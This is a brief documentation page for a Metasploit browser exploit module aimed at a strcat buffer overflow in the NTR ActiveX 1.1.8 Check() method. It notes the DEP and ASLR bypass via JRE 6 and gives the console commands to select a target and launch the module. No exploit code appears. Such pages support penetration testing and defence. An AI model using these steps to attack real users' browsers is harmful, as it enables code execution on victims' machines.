NTR ActiveX Control Check() Method Buffer Overflow

Description

This module exploits a vulnerability found in NTR ActiveX 1.1.8. The vulnerability exists in the Check() method, due to the insecure usage of strcat to build a URL using the bstrParams parameter contents (note: this is also the reason why the module won't allow you to modify the URIPATH), which leads to code execution under the context of the user visiting a malicious web page. In order to bypass DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/browser/ntr_activex_check_bof
msf exploit(ntr_activex_check_bof) > show targets
    ...targets...
msf exploit(ntr_activex_check_bof) > set TARGET < target-id >
msf exploit(ntr_activex_check_bof) > show options
    ...show and set options...
msf exploit(ntr_activex_check_bof) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
